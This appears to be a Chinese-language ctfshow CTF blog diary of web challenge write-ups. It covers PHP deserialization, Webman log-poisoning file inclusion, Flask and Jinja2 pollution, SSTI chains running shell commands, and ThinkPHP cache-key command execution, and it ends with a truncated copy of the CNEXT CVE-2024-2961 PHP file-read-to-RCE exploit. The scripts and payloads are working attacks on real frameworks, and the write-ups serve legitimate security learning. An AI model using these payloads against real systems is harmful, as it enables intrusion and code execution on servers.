ctfshow刷题日记
新开一个坑,专门做ctfshow中web题的复现记录
_DSBCTF_单身杯
签到·好玩的PHP
题目直接给了php代码
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { private $d = ''; private $s = ''; private $b = ''; private $ctf = ''; public function __destruct() { $this->d = (string)$this->d; $this->s = (string)$this->s; $this->b = (string)$this->b; if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) { $dsb = $this->d.$this->s.$this->b; if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) { if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } } } } } unserialize($_GET["dsbctf"]);
第一个考点是php的反系列化考察,代码中用到了PHP的魔术方法__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。也就是说__destruct() 会在对象被销毁时自动调用,题目里 unserialize($_GET["dsbctf"]); 之后没有把对象赋值给变量,所以这个对象很快会被销毁,触发 __destruct()。所以:我们只要传入一个序列化字符串,让反序列化出来的对象属性满足条件,就会自动执行 __destruct(),最后读取 /flag.txt。
接下来我们具体看一下 __destruct()函数。先看前三个属性:
这里 d、s、b 会被强制转成字符串。
条件要求:
-
d != s -
d != b -
s != b
注意这里是 !=,是松散比较,只比较值,会做类型转换。我们只要让它们三个值不一样就行。
然后:
把 d、s、b 拼接起来。接着:
要求拼接后的 $dsb 长度小于等于 3,$this->ctf 转成字符串后长度也小于等于 3。再往下:
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
这里是 !==,严格不等于:不仅值要不同,类型也要不同。最后:
要求 md5($dsb) 和 md5($this->ctf) 完全相同。正常想法可能是找两个不同字符串,但 MD5 相同。但这里不需要 MD5 碰撞。
我们利用的是:
-
$dsb是字符串 -
$this->ctf可以保持整数类型 -
md5()函数会把参数强制转成字符串
比如:
比较:
但是:
所以:
这就绕过了“必须两个不同字符串”的限制。编写php脚本得到序列化之后的字符串
<?php class ctfshow { private $d = '1'; private $s = '2'; private $b = '3'; private $ctf = 123; } $obj = new ctfshow(); $payload = serialize($obj); echo $payload . "\n\n"; echo urlencode($payload) . "\n";
//O:7:"ctfshow":4:{s:10:"ctfshowd";s:1:"1";s:10:"ctfshows";s:1:"2";s:10:"ctfshowb";s:1:"3";s:12:"ctfshowctf";i:123;}
//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D
利用get方式传参即可获得flag

迷雾重重
这道题给了源代码
<?php namespace app\controller; use support\Request; use support\exception\BusinessException; class IndexController { public function index(Request $request) { return view('index/index'); } public function testUnserialize(Request $request){ if(null !== $request->get('data')){ $data = $request->get('data'); unserialize($data); } return "unserialize测试完毕"; } public function testJson(Request $request){ if(null !== $request->get('data')){ $data = json_decode($request->get('data'),true); if(null!== $data && $data['name'] == 'guest'){ return view('index/view', $data); } } return "json_decode测试完毕"; } public function testSession(Request $request){ $session = $request->session(); $session->set('username',"guest"); $data = $session->get('username'); return "session测试完毕 username: ".$data; } public function testException(Request $request){ if(null != $request->get('data')){ $data = $request->get('data'); throw new BusinessException("业务异常 ".$data,3000); } return "exception测试完毕"; } }
漏洞点主要在testJson,testJson可以把可控参数给view做调用,接下来我们看一下view的代码实现
/** * View response * @param string $template * @param array $vars * @param string|null $app * @param string|null $plugin * @return Response */ function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response { $request = \request(); $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin; $handler = \config($plugin ? "plugin.$plugin.view.handler" : 'view.handler'); return new Response(200, [], $handler::render($template, $vars, $app, $plugin)); }
这里接下去调用了handler的render方法再接着往下看代码
/** * Render. * @param string $template * @param array $vars * @param string|null $app * @param string|null $plugin * @return false|string */ public static function render(string $template, array $vars, string $app = null, string $plugin = null): string { $request = request(); $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin; $configPrefix = $plugin ? "plugin.$plugin." : ''; $viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html'); $app = $app === null ? ($request->app ?? '') : $app; $baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path(); $__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix"; if(isset($request->_view_vars)) { extract((array)$request->_view_vars); } extract($vars); ob_start(); // Try to include php file. try { include $__template_path__; } catch (Throwable $e) { ob_end_clean(); throw $e; } return ob_get_clean(); }
到这里我们可以看见有一个extract((array)$request->_view_vars);可以覆盖参数,然后后面有include $__template_path__;可以进行文件包含,我们只需要传data的时候把__template_path__当作一部分赋值就可以进行覆盖然后进行文件包含,这道题还有一个考点就是在基于 Linux 的操作系统中,/proc 目录下存储了关于系统和运行中进程的信息。每个运行中的进程都会在 /proc/[pid]/cmdline 文件中保存该进程的启动命令行信息,其中可能包含启动该进程时使用的脚本或可执行文件路径。我们先包含这个文件进行包含读取,可以读到源代码的路径
def get_webroot():
print("[+] Getting webroot...")
webroot = ""
for i in range(1, 300):
r = requests.get(
url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i))
time.sleep(0.2)
if "start.php" in r.text:
print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline")
webroot = r.text.split("start_file=")[1][:-10]
print(f"Found webroot: {webroot}")
break
return webroot
得到路径:WorkerMan: master process start_file=/var/www/html/webrooth1xaa/start.php
接下来我们可以包含一个php代码<?php%20`cat%20/s00*>/var/www/html/webrooth1xaa/public/flag.txt`;?> 包含php代码会导致include失败这个特性,include失败后自然就会将报错信息写入日志文件,那么这个php代码也会被写入日志文件,接下来我们只要去包含这个日志文件那么就可以执行任意命令了,具体日志文件路径以及文件名格式可以本地调试一下就可以找到。执行命令了之后我们只需要把结果写到前端可访问文件中即可获取到flag
完整的触发脚本
import requests import time from datetime import datetime # 注意 这里题目地址 应该https换成http url = "http://09b83f8d-1fce-4a9a-aab2-90c7168e4b4e.challenge.ctf.show/" # Author: ctfshow h1xa def get_webroot(): print("[+] Getting webroot...") webroot = "" for i in range(1, 300): r = requests.get( url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}'.format(i)) time.sleep(0.2) if "start.php" in r.text: print(f"[\033[31m*\033[0m] Found start.php at /proc/{i}/cmdline") webroot = r.text.split("start_file=")[1][:-10] print(f"Found webroot: {webroot}") break return webroot def send_shell(webroot): # payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`ls%20/>{}/public/ls.txt`;?>"}}'.format(webroot) payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}'.format( webroot) r = requests.get(url=url + payload) time.sleep(1) if r.status_code == 500: print("[\033[31m*\033[0m] Shell sent successfully") else: print("Failed to send shell") def include_shell(webroot): now = datetime.now() payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}'.format( webroot, now.strftime("%Y"), now.strftime("%m"), now.strftime("%d")) r = requests.get(url=url + payload) time.sleep(5) r = requests.get(url=url + 'flag.txt') if "ctfshow" in r.text: print("=================FLAG==================\n") print("\033[32m" + r.text + "\033[0m") print("=================FLAG==================\n") print("[\033[31m*\033[0m] Shell included successfully") else: print("Failed to include shell") def exploit(): webroot = get_webroot() send_shell(webroot) include_shell(webroot) if __name__ == '__main__': exploit()

ez_inject
访问进去是一个登录界面,可以注册可以登录,随便注册一个账号登录之后有一个原样输出的功能界面,然后secret和chat给了提示应该是想让我们在注册的地方做污染

在secret界面提示除非你是小菜鸡师傅这里猜测有cookie,尝试抓包看下确实有

jwt解不了尝试用session可以解出来

那么思路很明显肯定是需要我们把is_admin改为1,那就说明我们需要找到secret_key,flask框架的secret_key是可以被污染的,污染payload如下:
{ "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"hack" } } } } }
然后我们在注册界面污染一波
import requests import json url = "http://9b55aa45-8881-4611-af5e-479c8b4a0860.challenge.ctf.show/register" payload = { "username": "test", "password": "test", "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "generate"}}}}, } r = requests.post(url=url, json=payload) print(r.text)

接下来跑一下伪造的cookie

修改cookie登录成功

尝试去访问/echo接口

修改传参方式为POST

提示让我们去原来的路径下进行注入,其实就是最开始的回声功能的地方

这里考察的是SSTI模板注入但是有很多过滤,测试之后发现cycler有回显

然后直接就可以读出flag

ezzz_ssti
打开题目查看一下功能很简单,通过get方式传什么参数就会显示在页面上

测试发现存在ssti模板注入{{7*7}}中的7*7被当作代码执行结果返回在页面上

直接用了上一题的payload尝试看能不能读取发现对输入有长度限制

测试一下发现可以执行config

config 本质是字典子类,有 update() 方法,可以改自己。这时候可以用set+update的方式更新config里面的参数从而实现调用
{%set x=config.update(a=config.update)%} //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%} //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%} //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%} //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /f*").read()}}

简单的文件上传
访问题目功能很简单,可以上传jar包然后去执行上传的jar包

写一个简单的java的getshell的代码然后打成jar包尝试上传并且执行

JVM 启用了 SecurityManager,Java 安全管理器(java.security.Manager)是一个用于增强 Java 应用程序安全性的重要机制,它可以控制程序对系统资源的访问权限,如文件访问、网络连接、加载外部库等。启用后,Java 程序会受限于一组安全策略,这些策略会控制哪些操作是允许的,哪些操作是不允许的。
经过测试后,可以知道jvm对 uploads 有读权限,同时有loadLibrary.*权限
具有LoadLibrary.*的权限,首先我们要知道LoadLibrary是干嘛的。
loadLibrary是 Java 中用于加载本地共享库(如.so文件、.dll文件)的一个方法。它是通过 Java 的 Java Native Interface (JNI) 机制来实现与本地代码(通常是 C 或 C++ 编写的)进行交互的关键方法之一。在 Java 程序中,当你需要调用本地方法时,你可以使用
System.loadLibrary来加载一个本地库文件(例如.so或.dll文件),并且该库包含了与 Java 程序交互的本地代码。
所以只要我们上传了so文件,我们就可以通过上传jar包来加载so文件从而执行本地共享库中的命令。题目限制了只能传jar,我们把后缀改成jar即可上传成功

CTFshowCodeManager.eval,然后构造外部jar文件package com.ctfshow; public class CTFshowCodeManager { static { System.load("/var/www/html/uploads/CTFshowCodeManager.jar"); } public static native String eval(String cmd); }
package com.ctfshow; import java.io.IOException; public class Main { public static void main(String[] args) throws IOException { CTFshowCodeManager.eval("cat /secretFlag000.txt"); } }

_XGCTF_西瓜杯
CodeInject
访问即可看见php源码

我们可以用POST方式传参,但是参数会被拼接到var_dump()函数里面作为参数,这样无论我们传什么都没办法进行命令执行,但是我们可以构造闭合,把前面var_dump函数正常执行然后后面拼接上我们想执行的语句进行命令执行

直接即可读取flag

tpdoor
题目给了index页面的php代码
<?php namespace app\controller; use app\BaseController; use think\facade\Db; class Index extends BaseController { protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit']; public function index($isCache = false , $cacheTime = 3600) { if($isCache == true){ $config = require __DIR__.'/../../config/route.php'; $config['request_cache_key'] = $isCache; $config['request_cache_expire'] = intval($cacheTime); $config['request_cache_except'] = []; file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';'); return 'cache is enabled'; }else{ return 'Welcome ,cache is disabled'; } } }
这是一个 ThinkPHP 的控制器代码。核心作用是:通过访问这个接口并传入参数,动态修改 config/route.php 配置文件,从而开启/关闭 ThinkPHP 的请求缓存,并设置缓存时间。
尝试通过get方式给isCache传参发现成功,那么isCache就是可控的了

这道题考察的是CheckRequestCache中间件解析的漏洞
think\middleware\CheckRequestCache是 ThinkPHP 框架中的一个中间件,作用是检查和处理请求的缓存。它的主要功能是在用户请求时检查是否有可用的缓存,如果缓存可用则直接返回缓存内容,从而避免重新处理请求,提升性能。
代码中用 file_put_contents 重写 config/route.php
接下来我们找一下这个中间件的源码看一下
<?php // +---------------------------------------------------------------------- // | ThinkPHP [ WE CAN DO IT JUST THINK ] // +---------------------------------------------------------------------- // | Copyright (c) 2006~2021 http://thinkphp.cn All rights reserved. // +---------------------------------------------------------------------- // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) // +---------------------------------------------------------------------- // | Author: liu21st <liu21st@gmail.com> // +---------------------------------------------------------------------- declare (strict_types = 1); namespace think\middleware; use Closure; use think\Cache; use think\Config; use think\Request; use think\Response; /** * 请求缓存处理 */ class CheckRequestCache { /** * 缓存对象 * @var Cache */ protected $cache; /** * 配置参数 * @var array */ protected $config = [ // 请求缓存规则 true为自动规则 'request_cache_key' => true, // 请求缓存有效期 'request_cache_expire' => null, // 全局请求缓存排除规则 'request_cache_except' => [], // 请求缓存的Tag 'request_cache_tag' => '', ]; public function __construct(Cache $cache, Config $config) { $this->cache = $cache; $this->config = array_merge($this->config, $config->get('route')); } /** * 设置当前地址的请求缓存 * @access public * @param Request $request * @param Closure $next * @param mixed $cache * @return Response */ public function handle($request, Closure $next, $cache = null) { if ($request->isGet() && false !== $cache) { if (false === $this->config['request_cache_key']) { // 关闭当前缓存 $cache = false; } $cache = $cache ?? $this->getRequestCache($request); if ($cache) { if (is_array($cache)) { [$key, $expire, $tag] = array_pad($cache, 3, null); } else { $key = md5($request->url(true)); $expire = $cache; $tag = null; } $key = $this->parseCacheKey($request, $key); if (strtotime($request->server('HTTP_IF_MODIFIED_SINCE', '')) + $expire > $request->server('REQUEST_TIME')) { // 读取缓存 return Response::create()->code(304); } elseif (($hit = $this->cache->get($key)) !== null) { [$content, $header, $when] = $hit; if (null === $expire || $when + $expire > $request->server('REQUEST_TIME')) { return Response::create($content)->header($header); } } } } $response = $next($request); if (isset($key) && 200 == $response->getCode() && $response->isAllowCache()) { $header = $response->getHeader(); $header['Cache-Control'] = 'max-age=' . $expire . ',must-revalidate'; $header['Last-Modified'] = gmdate('D, d M Y H:i:s') . ' GMT'; $header['Expires'] = gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT'; $this->cache->tag($tag)->set($key, [$response->getContent(), $header, time()], $expire); } return $response; } /** * 读取当前地址的请求缓存信息 * @access protected * @param Request $request * @return mixed */ protected function getRequestCache($request) { $key = $this->config['request_cache_key']; $expire = $this->config['request_cache_expire']; $except = $this->config['request_cache_except']; $tag = $this->config['request_cache_tag']; foreach ($except as $rule) { if (0 === stripos($request->url(), $rule)) { return; } } return [$key, $expire, $tag]; } /** * 读取当前地址的请求缓存信息 * @access protected * @param Request $request * @param mixed $key * @return null|string */ protected function parseCacheKey($request, $key) { if ($key instanceof \Closure) { $key = call_user_func($key, $request); } if (false === $key) { // 关闭当前缓存 return; } if (true === $key) { // 自动缓存功能 $key = '__URL__'; } elseif (strpos($key, '|')) { [$key, $fun] = explode('|', $key); } // 特殊规则替换 if (false !== strpos($key, '__')) { $key = str_replace(['__CONTROLLER__', '__ACTION__', '__URL__'], [$request->controller(), $request->action(), md5($request->url(true))], $key); } if (false !== strpos($key, ':')) { $param = $request->param(); foreach ($param as $item => $val) { if (is_string($val) && false !== strpos($key, ':' . $item)) { $key = str_replace(':' . $item, (string) $val, $key); } } } elseif (strpos($key, ']')) { if ('[' . $request->ext() . ']' == $key) { // 缓存某个后缀的请求 $key = md5($request->url()); } else { return; } } if (isset($fun)) { $key = $fun($key); } return $key; } }
我们重点关注这两个地方
elseif (strpos($key, '|')) { [$key, $fun] = explode('|', $key); }
if (isset($fun)) { $key = $fun($key); }
如果key里面含有|,会按照 |前后将key拆分,前面的部分作为key后面的部分作为fun,然后最后如果存在fun的话那么会把fun当作函数key当作参数进行执行。
再去看key的取值我们可以发现:
$key = $this->config['request_cache_key'];
key就是config里面的request_cache_key,也就是前面我们测试过的isCache,那也就是说我们可以通过构造isCache的值去达到命令执行的目的

直接读取flag即可

easy_polluted
题目给了源代码
from flask import Flask, session, redirect, url_for,request,render_template import os import hashlib import json import re def generate_random_md5(): random_string = os.urandom(16) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter(user_input): blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string'] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil(): def __init__(self): pass @app.route('/',methods=['POST']) def index(): username = request.form.get('username') password = request.form.get('password') session["username"] = username session["password"] = password Evil = evil() if request.data: if filter(str(request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else: merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html") @app.route('/admin',methods=['POST', 'GET']) def templates(): username = session.get("username", None) password = session.get("password", None) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html", flag=open("/flag", "rt").read()) else: return "Unauthorized" else: return f'Hello, This is the POLLUTED page.' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
里面用了merge函数可以做原型链污染,但是存在过滤,过滤了'init', 'global', 'env', 'app', '_', 'string'这几个。还存在一个/admin的接口,username == "adminer" and password == app.secret_key的时候可以获得flag。密钥是随机生成的一个md5字符串。那么思路就是通过原型链污染去覆盖app.secret_key,然后去/admin接口获取flag。但是这个题我们还要看下flag.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>index</title> </head> <body> 这又是什么jinja语法啊! [#flag#] </body> </html>
flag.html不是正常的渲染格式,Jinja2 的变量是 {{ flag }},注释是 {# flag #},语句是 {% ... %}。题目里写的 [#flag#] 会被当成普通文本原样输出,浏览器里只会看到 [#flag#],不会变成 flag。所以我们在污染的时候jinja2模板字符串也需要污染
Jinja2 的 Environment 有两个属性:
-
variable_start_string,默认{{ -
variable_end_string,默认
我们需要把这两个值做污染,然后绕过过滤很简单可以用编码的方式绕过
首先我们污染一下secret_key
{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079" :"generate"}}}}

然后我们去污染Environment属性
{
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {
"\u0061\u0070\u0070" : {
"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076" :{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]"
}
}
}
}
}

污染完之后我们可以获取一下Cookie,我们在/接口处发送账号和密码会得到cookie


然后我们拿着获取到的cookie直接去/admin接口就可以获取到flag了

Ezzz_php
打开题目是php源码
<?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start + 1, $end - 1 - $start); } class read_file{ public $start; public $filename="/etc/passwd"; public function __construct($start){ $this->start=$start; } public function __destruct(){ if($this->start == "gxngxngxn"){ echo 'What you are reading is:'.file_get_contents($this->filename); } } } if(isset($_GET['start'])){ $readfile = new read_file($_GET['start']); $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag"; if(preg_match("/\[|\]/i", $_GET['read'])){ die("NONONO!!!"); } $ctf = substrstr($read."[".serialize($readfile)."]"); unserialize($ctf); }else{ echo "Start_Funny_CTF!!!"; } Start_Funny_CTF!!!
从代码可以看出substrstr($data) 的作用是从输入的字符串 $data 中,提取第一个方括号 [ 和 ] 之间的内容。然后read_file主要是读取文件,传参传个gxngxngxn就能读/etc/passwd

但是我们显然是要做到打这个反序列化做到任意文件读取,那么题目解题的关键就在mb_strpos与mb_substr了。
mb_strpos:查找子串首次出现的位置
mb_substr:截取字符串的一部分
PHP 的 mb_strpos 和 mb_substr 在处理非法 UTF-8 字节序列时,采用了不一致的解析逻辑
%9f 是一个 UTF-8 的后续字节,它本身不能独立成为一个合法字符,必须跟在首字节(如 %f0)后面。
mb_strpos 的视角:它遇到 %9f 时,发现前面没有合法的首字节引导,于是把 %9f 单独当作一个字符来计数。
mb_substr 的视角:它截取字符串时,如果遇到孤立的 %9f,会跳过它或将其视为无效字节忽略,导致实际截取到的字符位置比 mb_strpos 算出来的少了一位。
mb_strpos 多算了一个字符位置,而 mb_substr 没算,导致最终截取结果错位。
%f0 是 UTF-8 中四字节字符的首字节。一个合法的四字节 UTF-8 字符格式是:%f0 + 3 个后续字节(例如 %9f、%98、%80)。
mb_strpos 的视角:当它看到 %f0,会尝试向后读取 3 个后续字节。如果后面的字节不合法(比如是普通的 ASCII 字符 A),它会停止解析,把已经读到的合法部分(如 %f0%9f)算作一个字符,然后从非法字节处重新开始。
mb_substr 的视角:当它看到 %f0,不看后面字节是否合法,直接往后跳过 3 个字节,把 %f0 连同后面的 3 个字节整体当作一个字符来处理。
这导致了一个巨大的计数差:对于 %f0 + 3 个任意字节(如 %f0abc),mb_strpos 可能认为这是 4 个字符(如果后续字节都不合法),而 mb_substr 只认为这是 1 个字符。mb_substr 少算了 3 个字符长度。
这道题主要就是依靠这样的错位来达到一个字符串逃逸的目的。首先我们本地测一下start=gxngxngxn序列化之后的字符串

然后我们构造的时候start可以放任何字符主要是需要自己调试一下start里字符串的长度以及%9f的长度,保证截取之后的字符串是一个完整的我们构造的序列化字符串

读取的文件就变成可控的了,然后这个题我们不知道flag名没办法直接读flag。接下来是另一个考点CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行,该漏洞适用于PHP 7.0.0 (2015) 到 8.3.7 (2024)
这部分直接用了现有的exp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# CNEXT: PHP file-read to RCE
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#
from __future__ import annotations
import base64
import zlib
from dataclasses import dataclass
from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "\u5284".encode("utf-8") # upstream: "U+5284" -> UTF-8 e5 8a 84
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
filename_len = "a" * (len(path) + 10)
url = self.url+f"?start={filename_len}&read={payload}"
return self.session.get(url)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
return base64.decode(data)
@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20
def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""
def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result
text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"
result = safe_download(path)
if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
# PHP's heap
self.info["heap"] = self.heap or self.find_main_heap(regions)
# Libc
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path in ("", "[anon:zend_alloc]")
]
if not heaps:
failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()
def build_exploit_path(self) -> str:
"""
On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.
Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.
The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:
... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
By triggering the bug from chunk ..900, we get:
... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
That's step 3.
Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.
Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:
0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.
Another problem comes up.
To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
prefix them with `0\n`. When dechunked (right before the iconv), they will
